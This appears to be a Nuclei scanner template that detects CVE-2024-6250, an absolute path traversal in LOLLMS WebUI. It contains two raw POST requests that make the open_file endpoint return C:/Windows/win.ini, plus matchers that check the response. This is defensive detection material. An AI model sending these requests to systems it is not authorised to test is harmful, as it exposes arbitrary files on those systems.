LOLLMS WebUI - Absolute Path Traversal

id: CVE-2024-6250

info:
  name: LOLLMS WebUI - Absolute Path Traversal
  author: ritikchaddha
  severity: high
  description: |
    An absolute path traversal vulnerability exists in parisneo/lollms-webui v9.6, specifically in the open_file endpoint of lollms_advanced.py. The sanitize_path function with allow_absolute_path=True allows an attacker to access arbitrary files and directories on a Windows system. This vulnerability can be exploited to read any file and list arbitrary directories on the affected system.
  impact: |
    Attackers can read arbitrary files and list directories, leading to information disclosure and potential further exploitation.
  remediation: |
    Update to the latest version where the vulnerability is fixed or modify the `sanitize_path` function to disallow absolute paths.
  reference:
    - https://huntr.com/bounties/11a8bf9d-16f3-49b3-b5fc-ad36d8993c73
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6250
    - https://github.com/parisneo/lollms-webui
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-6250
    epss-score: 0.01957
    epss-percentile: 0.77862
    cwe-id: CWE-36
  metadata:
    verified: false
    max-request: 2
    vendor: lollms
    product: lollms_web_ui
  tags: cve,cve2024,lollms,lfi,traversal,ai,vkev

http:
  - raw:
      - |
        POST /open_file HTTP/1.1
        Host: {{Hostname}}

        {"path": "C:/Windows/win.ini"}

      - |
        POST /api/open_file HTTP/1.1
        Host: {{Hostname}}

        {"path": "C:/Windows/win.ini"}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "bit app support", "[fonts]", "[extensions]")'
          - 'contains(content_type, "text/plain")'
          - "status_code == 200"
        condition: and
# digest: 490a0046304402204eb68b7f0a7bee49dfa8e8cfeae3269914a0c944dfc926614a8e68e2fc261b3d0220056f4d1bfec19aebbdb916dac157bbae1bfeee9f61f69d4b924d9c3ed9b7878b:922c64590222798bb761d5b6d8e72950